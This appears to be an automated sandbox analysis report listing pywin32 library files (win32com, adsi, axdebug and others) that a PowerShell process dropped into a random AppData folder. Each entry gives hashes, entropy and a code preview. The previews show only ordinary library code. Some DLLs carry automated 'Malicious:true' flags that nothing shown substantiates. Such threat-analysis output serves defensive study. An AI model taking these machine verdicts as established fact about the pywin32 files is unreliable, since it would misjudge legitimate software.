              Preview:# Code that packs and unpacks the Univgw structures...# See if we have a special directory for the binaries (for developers)..import pythoncom.from win32com.client import gencache..com_error = pythoncom.com_error._univgw = pythoncom._univgw...def RegisterInterfaces(typelibGUID, lcid, major, minor, interface_names=None):. ret = [] # return a list of (dispid, funcname for our policy's benefit. # First see if we have makepy support. If so, we can probably satisfy the request without loading the typelib.. try:. mod = gencache.GetModuleForTypelib(typelibGUID, lcid, major, minor). except ImportError:. mod = None. if mod is None:. import win32com.client.build.. # Load up the typelib and build (but don't cache) it now. tlb = pythoncom.LoadRegTypeLib(typelibGUID, major, minor, lcid). typecomp_lib = tlb.GetTypeComp(). if interface_names is None:. interface_names = []. for i in range(tlb.GetTypeInfoCount()):.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32com\util.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1030
              Entropy (8bit):4.44193815730948
              Encrypted:false
              SSDEEP:
              MD5:0234252BED6F281EE2870D5CE30B539C
              SHA1:8B9BA395C4CDC7DD2627E91A2A2B93C15E6213FB
              SHA-256:EF265A6B2D99D45A776F178B7C495800ED817AE029E3D69C528CE55C16DD838A
              SHA-512:27E74951F7310C3A0CD68F0E9D8021CEE503A019AADD13F840C5EB5E59D42C4C992AD12057D8992B82AA72C7CBD79BB6B2618B8F9BDF24528375C20D6C10B4E4
              Malicious:false
              Reputation:unknown
              Preview:"""General utility functions common to client and server... This module contains a collection of general purpose utility functions..""".import pythoncom.import win32api.import win32con...def IIDToInterfaceName(iid):. """Converts an IID to a string interface name... Used primarily for debugging purposes, this allows a cryptic IID to. be converted to a useful string name. This will firstly look for interfaces. known (ie, registered) by pythoncom. If not known, it will look in the. registry for a registered interface... iid -- An IID object... Result -- Always a string - either an interface name, or '<Unregistered interface>'. """. try:. return pythoncom.ServerInterfaces[iid]. except KeyError:. try:. try:. return win32api.RegQueryValue(. win32con.HKEY_CLASSES_ROOT, "Interface\\%s" % iid. ). except win32api.error:. pass. except ImportError:.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\adsi\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3694
              Entropy (8bit):4.761000260193915
              Encrypted:false
              SSDEEP:
              MD5:25CD42B65143EE07806222BB716E209B
              SHA1:1BEEC40834774119611C43C5F1F3B70AD0D0240A
              SHA-256:5BFC052EE843BA68412A97F351A829A0D0B0CE8EF5655B676986D32F42BA5791
              SHA-512:F88709D7D08F654714D91C1D800EF3C576D12D0181E99C756ACB3777AEBFF143F61EB1DF591904DD61C33C6364A16D3950D13818C17AA6A8393690D6A56363F7
              Malicious:false
              Reputation:unknown
              Preview:import win32com.import win32com.client..if type(__path__) == type(""):. # For freeze to work!. import sys.. try:. import adsi.. sys.modules["win32com.adsi.adsi"] = adsi. except ImportError:. pass.else:. # See if we have a special directory for the binaries (for developers). win32com.__PackageSupportBuildPath__(__path__)...# Some helpers.# We want to _look_ like the ADSI module, but provide some additional.# helpers...# Of specific note - most of the interfaces supported by ADSI.# derive from IDispatch - thus, you get the custome methods from the.# interface, as well as via IDispatch..import pythoncom..from .adsi import *..LCID = 0..IDispatchType = pythoncom.TypeIIDs[pythoncom.IID_IDispatch].IADsContainerType = pythoncom.TypeIIDs[adsi.IID_IADsContainer]...def _get_good_ret(. ob,. # Named arguments used internally. resultCLSID=None,.):. assert resultCLSID is None, "Now have type info for ADSI objects - fix me!". # See if the object su

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\adsi\adsi.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):76800
              Entropy (8bit):6.516814809906401
              Encrypted:false
              SSDEEP:
              MD5:C9D92DEAAD81286033BD8597BD56EBF3
              SHA1:F75832F9A318E03F3517C32F3BC739F09DEDD739
              SHA-256:0980993B3890D478E79CD122376773979B858429DDFD1372129A6ED5F0CD7849
              SHA-512:85EB98D008BE197DAF653189DB5153B06B27C93A96919964125C50ACAB1065D8F9F306D557593D95925C73EC024A97247B13EC5AD2C34223D2AC6853B002C6F3
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................b.................................a.................J..................Rich..................PE..L...t..d...........!.....................................................................@.............................H...(........P..L....................`......P...T...............................@...............h............................text............................... ..`.rdata..$q.......r..................@..@.data........0......................@....rsrc...L....P......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\adsi\adsicon.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):12303
              Entropy (8bit):4.812594738230301
              Encrypted:false
              SSDEEP:
              MD5:97001F17DB58C29F039147B67528F891
              SHA1:288383FBC5ED6630BCA5133C61667FEF99F1EF1A
              SHA-256:C6D18AE28861CE2A9C24F6F82943DAD9BB22B89CA9E010BDB3A4F987F5A37578
              SHA-512:05068DEF956ECE014A66F6FC51C66BE89C882EF1352CD4045A7C4836E5CE833838D9214F46FEA86DC91D506C00D5906B57377EA20C9ADD79D09944941FA5437D
              Malicious:false
              Reputation:unknown
              Preview:ADS_ATTR_CLEAR = 1.ADS_ATTR_UPDATE = 2.ADS_ATTR_APPEND = 3.ADS_ATTR_DELETE = 4.ADS_EXT_MINEXTDISPID = 1.ADS_EXT_MAXEXTDISPID = 16777215.ADS_EXT_INITCREDENTIALS = 1.ADS_EXT_INITIALIZE_COMPLETE = 2..ADS_SEARCHPREF_ASYNCHRONOUS = 0.ADS_SEARCHPREF_DEREF_ALIASES = 1.ADS_SEARCHPREF_SIZE_LIMIT = 2.ADS_SEARCHPREF_TIME_LIMIT = 3.ADS_SEARCHPREF_ATTRIBTYPES_ONLY = 4.ADS_SEARCHPREF_SEARCH_SCOPE = 5.ADS_SEARCHPREF_TIMEOUT = 6.ADS_SEARCHPREF_PAGESIZE = 7.ADS_SEARCHPREF_PAGED_TIME_LIMIT = 8.ADS_SEARCHPREF_CHASE_REFERRALS = 9.ADS_SEARCHPREF_SORT_ON = 10.ADS_SEARCHPREF_CACHE_RESULTS = 11.ADS_SEARCHPREF_DIRSYNC = 12.ADS_SEARCHPREF_TOMBSTONE = 13..ADS_SCOPE_BASE = 0.ADS_SCOPE_ONELEVEL = 1.ADS_SCOPE_SUBTREE = 2..ADS_SECURE_AUTHENTICATION = 0x1.ADS_USE_ENCRYPTION = 0x2.ADS_USE_SSL = 0x2.ADS_READONLY_SERVER = 0x4.ADS_PROMPT_CREDENTIALS = 0x8.ADS_NO_AUTHENTICATION = 0x10.ADS_FAST_BIND = 0x20.ADS_USE_SIGNING = 0x40.ADS_USE_SEALING = 0x80.ADS_USE_DELEGATION = 0x100.ADS_SERVER_BIND = 0x200..ADSTYPE_INVALID = 0.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\adsi\demos\objectPicker.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1941
              Entropy (8bit):4.948611303861004
              Encrypted:false
              SSDEEP:
              MD5:BA0DAB35B6DCC0D124666CE5FB9EAEDB
              SHA1:DCE97AE0A508BA8D502D2D90B71FFB893EDAE84D
              SHA-256:E11BA5576094FBA15DDB5BE66E4E72FDA7E7F460593E8B815E026D2356B769D1
              SHA-512:D17C59AAD49807C15FC10ACE6D0BD4576F00A3041AD3DC394A7BA0D9425C22F4F3D5C6FAD45D59869A2A1AE20FE23EA7478EE28BCB8A7F717C8EFCCF18397AB9
              Malicious:false
              Reputation:unknown
              Preview:# A demo for the IDsObjectPicker interface..import pythoncom.import win32clipboard.from win32com.adsi import adsi.from win32com.adsi.adsicon import *..cf_objectpicker = win32clipboard.RegisterClipboardFormat(CFSTR_DSOP_DS_SELECTION_LIST)...def main():. hwnd = 0.. # Create an instance of the object picker.. picker = pythoncom.CoCreateInstance(. adsi.CLSID_DsObjectPicker,. None,. pythoncom.CLSCTX_INPROC_SERVER,. adsi.IID_IDsObjectPicker,. ).. # Create our scope init info.. siis = adsi.DSOP_SCOPE_INIT_INFOs(1). sii = siis[0].. # Combine multiple scope types in a single array entry... sii.type = (. DSOP_SCOPE_TYPE_UPLEVEL_JOINED_DOMAIN | DSOP_SCOPE_TYPE_DOWNLEVEL_JOINED_DOMAIN. ).. # Set uplevel and downlevel filters to include only computer objects.. # Uplevel filters apply to both mixed and native modes.. # Notice that the uplevel and downlevel flags are different... sii.filterFlags.uplevel.bothModes = DSOP_FILT

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\adsi\demos\scp.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):19144
              Entropy (8bit):4.771290812448383
              Encrypted:false
              SSDEEP:
              MD5:6AF72C80B4C12C5A64FAFB54D7814177
              SHA1:BC3E8C14C8E2EA8DD102397F0FFE375CCC27AC09
              SHA-256:2C8BF8FBF796F30D2838EE52D0E0EADBF54775A9B9D7EB1C616771A36D7234CF
              SHA-512:A5EE5B81F5A8216C4786C304457CD51116FB224164F9E5739B21D1BBAE842E9645A92255131F8C8221E1BDFC598BACB3F005D64D93A685D69AA931DFA7C18727
              Malicious:false
              Reputation:unknown
              Preview:"""A re-implementation of the MS DirectoryService samples related to services...* Adds and removes an ActiveDirectory "Service Connection Point",. including managing the security on the object..* Creates and registers Service Principal Names..* Changes the username for a domain user...Some of these functions are likely to become move to a module - but there.is also a little command-line-interface to try these functions out...For example:..scp.py --account-name=domain\\user --service-class=PythonScpTest \\. --keyword=foo --keyword=bar --binding-string=bind_info \\. ScpCreate SpnCreate SpnRegister..would:.* Attempt to delete a Service Connection Point for the service class. 'PythonScpTest'.* Attempt to create a Service Connection Point for that class, with 2. keywords and a binding string of 'bind_info'.* Create a Service Principal Name for the service and register it..to undo those changes, you could execute:..scp.py --account-name=domain\\user --service-class=PythonScpTe

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\adsi\demos\search.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4169
              Entropy (8bit):4.6496957953422235
              Encrypted:false
              SSDEEP:
              MD5:0A534E0FB32C632B948483B81C492BE5
              SHA1:315A8ED1A99D57A2E85105517AC8BBD156770FEF
              SHA-256:FF926B3BFA8FD17CD1CD4C1D746563FE2F9606422ADEDDA5A0C532997CBDE52E
              SHA-512:51488B474A677C6C8BA2EE32E10EF7379CDBFDF22A1CF0D6B775BDDC700427E63F7D2BD8C700FE5E76D9265494296506A8ED6AB5F15926924A72ED91CBB692A2
              Malicious:false
              Reputation:unknown
              Preview:import pythoncom.import pywintypes.import win32security.from win32com.adsi import adsi, adsicon.from win32com.adsi.adsicon import *..options = None # set to optparse options object..ADsTypeNameMap = {}...def getADsTypeName(type_val):. # convert integer type to the 'typename' as known in the headerfiles.. if not ADsTypeNameMap:. for n, v in adsicon.__dict__.items():. if n.startswith("ADSTYPE_"):. ADsTypeNameMap[v] = n. return ADsTypeNameMap.get(type_val, hex(type_val))...def _guid_from_buffer(b):. return pywintypes.IID(b, True)...def _sid_from_buffer(b):. return str(pywintypes.SID(b))..._null_converter = lambda x: x..converters = {. "objectGUID": _guid_from_buffer,. "objectSid": _sid_from_buffer,. "instanceType": getADsTypeName,.}...def log(level, msg, *args):. if options.verbose >= level:. print("log:", msg % args)...def getGC():. cont = adsi.ADsOpenObject(. "GC:", options.user, options.password, 0, adsi.IID_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\adsi\demos\test.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):8519
              Entropy (8bit):4.629808468909972
              Encrypted:false
              SSDEEP:
              MD5:88F8118FB6975331D4D6B4540171B3D0
              SHA1:4C2FACEDDA8B6C4BF85EB7ABF1806B9DF06B7994
              SHA-256:D520BCC60691001EF5ED60FB13481FCDD8C291C061DE4A2F5FBE432AC30D57F5
              SHA-512:7C5E405F3C3372363F5E19AA9C2AADD4C190A1738A6D212522F722D64FDE04F4520169B09C2734DD45D89897F9AA0881BBF26B8C562B0FD173E20E95645BB9F1
              Malicious:false
              Reputation:unknown
              Preview:import string.import sys..import pythoncom.import win32api.from win32com.adsi import *..verbose_level = 0..server = "" # Must have trailing /.local_name = win32api.GetComputerName()...def DumpRoot():. "Dumps the root DSE". path = "LDAP://%srootDSE" % server. rootdse = ADsGetObject(path).. for item in rootdse.Get("SupportedLDAPVersion"):. print("%s supports ldap version %s" % (path, item)).. attributes = ["CurrentTime", "defaultNamingContext"]. for attr in attributes:. val = rootdse.Get(attr). print(" %s=%s" % (attr, val))...###############################################.#.# Code taken from article titled:.# Reading attributeSchema and classSchema Objects.def _DumpClass(child):. attrs = "Abstract lDAPDisplayName schemaIDGUID schemaNamingContext attributeSyntax oMSyntax". _DumpTheseAttributes(child, string.split(attrs))...def _DumpAttribute(child):. attrs = "lDAPDisplayName schemaIDGUID adminDescription adminDisplayName rDNAttID defaultHi

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\authorization\authorization.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):23040
              Entropy (8bit):6.062839817250289
              Encrypted:false
              SSDEEP:
              MD5:E3ED8D5742C06BBA31DB1AFF1F2A33F7
              SHA1:6D1A2C685FE349CDB53A61A22C06822FAE8BE07B
              SHA-256:011707B089AB8E55FAC97E4E56A479E2890B1D8DD6072DA2E7D6F14D69031010
              SHA-512:3355D837EC006425C8848BE39108EC1C0641C0E36B319D57712251A3CD22F98D334584FE5AFC9882298BCEBCCDE544202E86E2F69950E58E45F03AF89FC18401
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y..............`*......m.......m.......m.......m......Am......'q.......s..............Am......Am......Am......Rich....................PE..L......d...........!.....*...,.......'.......@............................................@.........................`P..\....P.......p..l........................... E..T...........................xE..@............@...............................text....).......*.................. ..`.rdata.......@... ..................@..@.data...h....`.......N..............@....rsrc...l....p.......P..............@..@.reloc...............T..............@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\authorization\demos\EditSecurity.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):9011
              Entropy (8bit):4.719971542686045
              Encrypted:false
              SSDEEP:
              MD5:03BA827D3BA1E38C61E394FE909CE800
              SHA1:90BCFD2FF3CDFBFF6D51233101CA79ED05D5BCD4
              SHA-256:992E18C3D88C678B5BE0B2E2F84EFD3B096B47DE672508E711B6EE3DA884A807
              SHA-512:C211EA590E51B36193F79E38389574DCFE8A71498F8156492D61B02B7AC6A559DF6D0BB1E21F3272D4D8F28E3376DB650C1A3CA0B221D0D7E7B3A36D8281A220
              Malicious:false
              Reputation:unknown
              Preview:import os..import ntsecuritycon.import pythoncom.import win32api.import win32com.server.policy.import win32con.import win32security.from ntsecuritycon import (. CONTAINER_INHERIT_ACE,. FILE_ALL_ACCESS,. FILE_APPEND_DATA,. FILE_GENERIC_EXECUTE,. FILE_GENERIC_READ,. FILE_GENERIC_WRITE,. FILE_READ_ATTRIBUTES,. FILE_READ_DATA,. FILE_READ_EA,. FILE_WRITE_ATTRIBUTES,. FILE_WRITE_DATA,. FILE_WRITE_EA,. INHERIT_ONLY_ACE,. OBJECT_INHERIT_ACE,. PSPCB_SI_INITDIALOG,. READ_CONTROL,. SI_ACCESS_CONTAINER,. SI_ACCESS_GENERAL,. SI_ACCESS_PROPERTY,. SI_ACCESS_SPECIFIC,. SI_ADVANCED,. SI_CONTAINER,. SI_EDIT_ALL,. SI_EDIT_AUDITS,. SI_EDIT_PROPERTIES,. SI_PAGE_ADVPERM,. SI_PAGE_AUDIT,. SI_PAGE_OWNER,. SI_PAGE_PERM,. SI_PAGE_TITLE,. SI_RESET,. STANDARD_RIGHTS_EXECUTE,. STANDARD_RIGHTS_READ,. STANDARD_RIGHTS_WRITE,. SYNCHRONIZE,. WRITE_DAC,. WRITE_OWNER,.).from pythoncom import IID_NULL.from win32c

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\authorization\demos\EditServiceSecurity.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):8637
              Entropy (8bit):4.801238101018742
              Encrypted:false
              SSDEEP:
              MD5:B22937070DEB1173DDB1081DA8782C25
              SHA1:95F9E1DFF1755DBA17965F4EDBFD7E133D56328B
              SHA-256:F151377797F41881857809F33BD864D3480EC03DDDA0F54C94425415AA4040A0
              SHA-512:AF1890C9BE08B667E42532087E998E01CD0C5375BAB517B58A6E813AE467C0431FF634865852EE4D6B6085372389E47DBC7E2B38C33E2503F7FEEBDE400C0E72
              Malicious:false
              Reputation:unknown
              Preview:""".Implements a permissions editor for services..Service can be specified as plain name for local machine,.or as a remote service of the form \\machinename\service."""..import os..import ntsecuritycon.import pythoncom.import win32api.import win32com.server.policy.import win32con.import win32security.import win32service.from win32com.authorization import authorization..SERVICE_GENERIC_EXECUTE = (. win32service.SERVICE_START. | win32service.SERVICE_STOP. | win32service.SERVICE_PAUSE_CONTINUE. | win32service.SERVICE_USER_DEFINED_CONTROL.).SERVICE_GENERIC_READ = (. win32service.SERVICE_QUERY_CONFIG. | win32service.SERVICE_QUERY_STATUS. | win32service.SERVICE_INTERROGATE. | win32service.SERVICE_ENUMERATE_DEPENDENTS.).SERVICE_GENERIC_WRITE = win32service.SERVICE_CHANGE_CONFIG..from ntsecuritycon import (. CONTAINER_INHERIT_ACE,. INHERIT_ONLY_ACE,. OBJECT_INHERIT_ACE,. PSPCB_SI_INITDIALOG,. READ_CONTROL,. SI_ACCESS_CONTAINER,. SI_ACCESS_GENERAL,.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axcontrol\axcontrol.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):113152
              Entropy (8bit):6.36538924307893
              Encrypted:false
              SSDEEP:
              MD5:4F83EE894025F453185756FBC47EA9C3
              SHA1:70A811479C7329196DCE6AC18267E14FD6EC4C36
              SHA-256:C39113E3C7D308338B0BA5B218605A797890CE9C5515CAA87E5244E586359CD4
              SHA-512:3AD233AF3742F9718C77CB1FDF5683BD9BD7DF8E7E316D59502D8F9F7DF3D24E70C9472DB861FB9BBB0C2589405795B30DBFA22B091A0757BE82502F5B0FEF29
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......yS).=2G.=2G.=2G.4J.;2G.oGF.?2G.oGB.,2G.oGC.72G.oGD.<2G.)YC.:2G..[F.?2G..GF.92G.)YF.:2G.=2F..2G..GN.,2G..GG.<2G..GE.<2G.Rich=2G.................PE..L...}..d...........!......................................................................@..........................|..T....|..........\........................)...R..T............................R..@............................................text...k........................... ..`.rdata..............................@..@.data.... ...........|..............@....rsrc...\...........................@..@.reloc...).......*..................@..B........................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axdebug\adb.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):18119
              Entropy (8bit):4.487056283454847
              Encrypted:false
              SSDEEP:
              MD5:EE8E4594A8FDCCD97F5CADEEDB5AFC55
              SHA1:0A7834C1DAB475780AE36812FDF30FF395CEC900
              SHA-256:E1DE907DB159D0E0ACD768F18A091B07BF00F2285F25E470F15A9C0532BE7B92
              SHA-512:D9C89AFF68AC53F3451E281B9CEB9108596C7681F4EF269089B25967068531D4621DBF2F8A8F52FD37E533FFD76D06836D5B05330F1C5DBE45B8CD67F7EF8574
              Malicious:false
              Reputation:unknown
              Preview:"""The glue between the Python debugger interface and the Active Debugger interface.""".import _thread.import bdb.import os.import sys.import traceback..import pythoncom.import win32api.import win32com.client.connect.from win32com.axdebug.util import _wrap, _wrap_remove, trace.from win32com.server.util import unwrap..from . import axdebug, gateways, stackframe...def fnull(*args):. pass...try:. os.environ["DEBUG_AXDEBUG"]. debugging = 1.except KeyError:. debugging = 0..traceenter = fnull # trace enter of functions.tracev = fnull # verbose trace..if debugging:. traceenter = trace # trace enter of functions. tracev = trace # verbose trace...class OutputReflector:. def __init__(self, file, writefunc):. self.writefunc = writefunc. self.file = file.. def __getattr__(self, name):. return getattr(self.file, name).. def write(self, message):. self.writefunc(message). self.file.write(message)...def _dumpf(frame):. if frame is N

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axdebug\codecontainer.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):9102
              Entropy (8bit):4.493445466012749
              Encrypted:false
              SSDEEP:
              MD5:29E392CA4BA011B3903E269EF428F91F
              SHA1:4F8737F439EC4EB942AEC02F026602888071B500
              SHA-256:818DB719887CBF9C5EA0992EF19B64596EF360CCD6CDFF9B0DE1D42C72065687
              SHA-512:FEE4664B8ED4C38A416BCBD193380317E3D0535458372CBFE0C2ACF7AF9883AC66D581894DF070E5CC587C2866FE0F6C517CFDADC013C8578190350D846EE9E5
              Malicious:false
              Reputation:unknown
              Preview:"""A utility class for a code container...A code container is a class which holds source code for a debugger. It knows how.to color the text, and also how to translate lines into offsets, and back.."""..import sys.import tokenize..import win32api.import winerror.from win32com.axdebug import axdebug.from win32com.server.exception import Exception..from . import contexts.from .util import RaiseNotImpl, _wrap.._keywords = {} # set of Python keywords.for name in """. and assert break class continue def del elif else except exec. finally for from global if import in is lambda not. or pass print raise return try while. """.split():. _keywords[name] = 1...class SourceCodeContainer:. def __init__(. self,. text,. fileName="<Remove Me!>",. sourceContext=0,. startLineNumber=0,. site=None,. debugDocument=None,. ):. self.sourceContext = sourceContext # The source context added by a smart host.. self.text = text. if te

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axdebug\contexts.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2134
              Entropy (8bit):4.652713352085003
              Encrypted:false
              SSDEEP:
              MD5:41E8D769F19AA9395EFFDD5EB491D7F8
              SHA1:8E572F48D4C957A43F1135BF541756ACF78DCEB0
              SHA-256:F347434427F90D632B58892800E53E788B1C6D8598674AB1B572DD79D2B8C9B9
              SHA-512:49AB0F700C534D119C5B1DE910C10A7CB021AFCB2D0A8B750ABDB9CB43B9E3CB6B203FB817F96497F44853878689827E8062A21B29BD7B4960FA6550B99EEF57
              Malicious:false
              Reputation:unknown
              Preview:""" A module for managing the AXDebug I*Contexts..""".import pythoncom.import win32com.server.util..from . import adb, axdebug, gateways..# Utility function for wrapping object created by this module..from .util import _wrap, _wrap_remove, trace...class DebugCodeContext(gateways.DebugCodeContext, gateways.DebugDocumentContext):. # NOTE: We also implement the IDebugDocumentContext interface for Simple Hosts.. # Thus, debugDocument may be NULL when we have smart hosts - but in that case, we. # wont be called upon to provide it.. _public_methods_ = (. gateways.DebugCodeContext._public_methods_. + gateways.DebugDocumentContext._public_methods_. ). _com_interfaces_ = (. gateways.DebugCodeContext._com_interfaces_. + gateways.DebugDocumentContext._com_interfaces_. ).. def __init__(self, lineNo, charPos, len, codeContainer, debugSite):. self.debugSite = debugSite. self.offset = charPos. self.length = len. self.brea

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axdebug\debugger.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):7322
              Entropy (8bit):4.549344705587493
              Encrypted:false
              SSDEEP:
              MD5:387299A7C13295D50D933231F8F6A929
              SHA1:4641E9553DB4E595AFDE8F58F21C530820CB7F5E
              SHA-256:21EFC71AB966D7C710BA7574596D3A357CE3B5BDDB6573F1972749EB4D88D554
              SHA-512:C82CFF3EB979210A1499ED6CCA43FD141F67386E67FC95AF3D68645CD4D85054B4944111FAA807F43BA03DA90B215707DE07DD58A34B26E340D7D7D3999B8C75
              Malicious:false
              Reputation:unknown
              Preview:import os.import string.import sys..import pythoncom.import win32api.from win32com.axdebug import (. adb,. axdebug,. codecontainer,. contexts,. documents,. expressions,. gateways,.).from win32com.axdebug.util import _wrap, _wrap_remove, trace.from win32com.axscript import axscript..currentDebugger = None...class ModuleTreeNode:. """Helper class for building a module tree""".. def __init__(self, module):. modName = module.__name__. self.moduleName = modName. self.module = module. self.realNode = None. self.cont = codecontainer.SourceModuleContainer(module).. def __repr__(self):. return "<ModuleTreeNode wrapping %s>" % (self.module).. def Attach(self, parentRealNode):. self.realNode.Attach(parentRealNode).. def Close(self):. self.module = None. self.cont = None. self.realNode = None...def BuildModule(module, built_nodes, rootNode, create_node_fn, create_node_args):. if module:.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axdebug\documents.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4401
              Entropy (8bit):4.634738775565931
              Encrypted:false
              SSDEEP:
              MD5:2AA8B553D5153F6DE188A218397E83C5
              SHA1:0790935A4CF2FD67EC2CA5DE3155317C22F52E52
              SHA-256:8967559AFA19CC76D9DAD22AE479F6C5F7F4527D2427B729CF316F94CFC49405
              SHA-512:89A24983B381D17E5677E63AF018D82AFF91540056EF7A142BAAB99C4B37FBB2C69D571DCE1793C470CBCBEC2C5B5A2AC9DAEC77AC7AC0434452B67000A73C94
              Malicious:false
              Reputation:unknown
              Preview:""" Management of documents for AXDebugging.."""...import pythoncom.import win32api.from win32com.server.exception import Exception.from win32com.server.util import unwrap..from . import axdebug, codecontainer, contexts, gateways.from .util import RaiseNotImpl, _wrap, _wrap_remove, trace..# def trace(*args):.# pass...def GetGoodFileName(fname):. if fname[0] != "<":. return win32api.GetFullPathName(fname). return fname...class DebugDocumentProvider(gateways.DebugDocumentProvider):. def __init__(self, doc):. self.doc = doc.. def GetName(self, dnt):. return self.doc.GetName(dnt).. def GetDocumentClassId(self):. return self.doc.GetDocumentClassId().. def GetDocument(self):. return self.doc...class DebugDocumentText(. gateways.DebugDocumentInfo, gateways.DebugDocumentText, gateways.DebugDocument.):. _com_interfaces_ = (. gateways.DebugDocumentInfo._com_interfaces_. + gateways.DebugDocumentText._com_interfaces_.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axdebug\dump.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1848
              Entropy (8bit):4.814656699804549
              Encrypted:false
              SSDEEP:
              MD5:6D76BE29D21C5060BA0BB6A470B6AE02
              SHA1:2C95D58045D5A3EBC7B59EFE876A8C7C0832A52F
              SHA-256:71A341F5D200376EA64FE9CC4A0074B9AC01F13177BB5BD48649594D6B593E9D
              SHA-512:A37EE595C1B6BE4A771CA85B1D23541E3EC5A2B62AAA5B2C96C874512585C00F429AB361D5B8A1A24568715219936991E50F645424C6A14448F4C7CC567F6E70
              Malicious:false
              Reputation:unknown
              Preview:import traceback..import pythoncom.from win32com.axdebug import axdebug.from win32com.client.util import Enumerator...def DumpDebugApplicationNode(node, level=0):. # Recursive dump of a DebugApplicationNode. spacer = " " * level. for desc, attr in [. ("Node Name", axdebug.DOCUMENTNAMETYPE_APPNODE),. ("Title", axdebug.DOCUMENTNAMETYPE_TITLE),. ("Filename", axdebug.DOCUMENTNAMETYPE_FILE_TAIL),. ("URL", axdebug.DOCUMENTNAMETYPE_URL),. ]:. try:. info = node.GetName(attr). except pythoncom.com_error:. info = "<N/A>". print("%s%s: %s" % (spacer, desc, info)). try:. doc = node.GetDocument(). except pythoncom.com_error:. doc = None. if doc:. doctext = doc.QueryInterface(axdebug.IID_IDebugDocumentText). numLines, numChars = doctext.GetSize(). # text, attr = doctext.GetText(0, 20, 1). text, attr = doctext.GetText(0, numChars, 1). print

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axdebug\expressions.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6660
              Entropy (8bit):4.647807501549084
              Encrypted:false
              SSDEEP:
              MD5:F797F20D5F6C508B3B9E4CB6280D495C
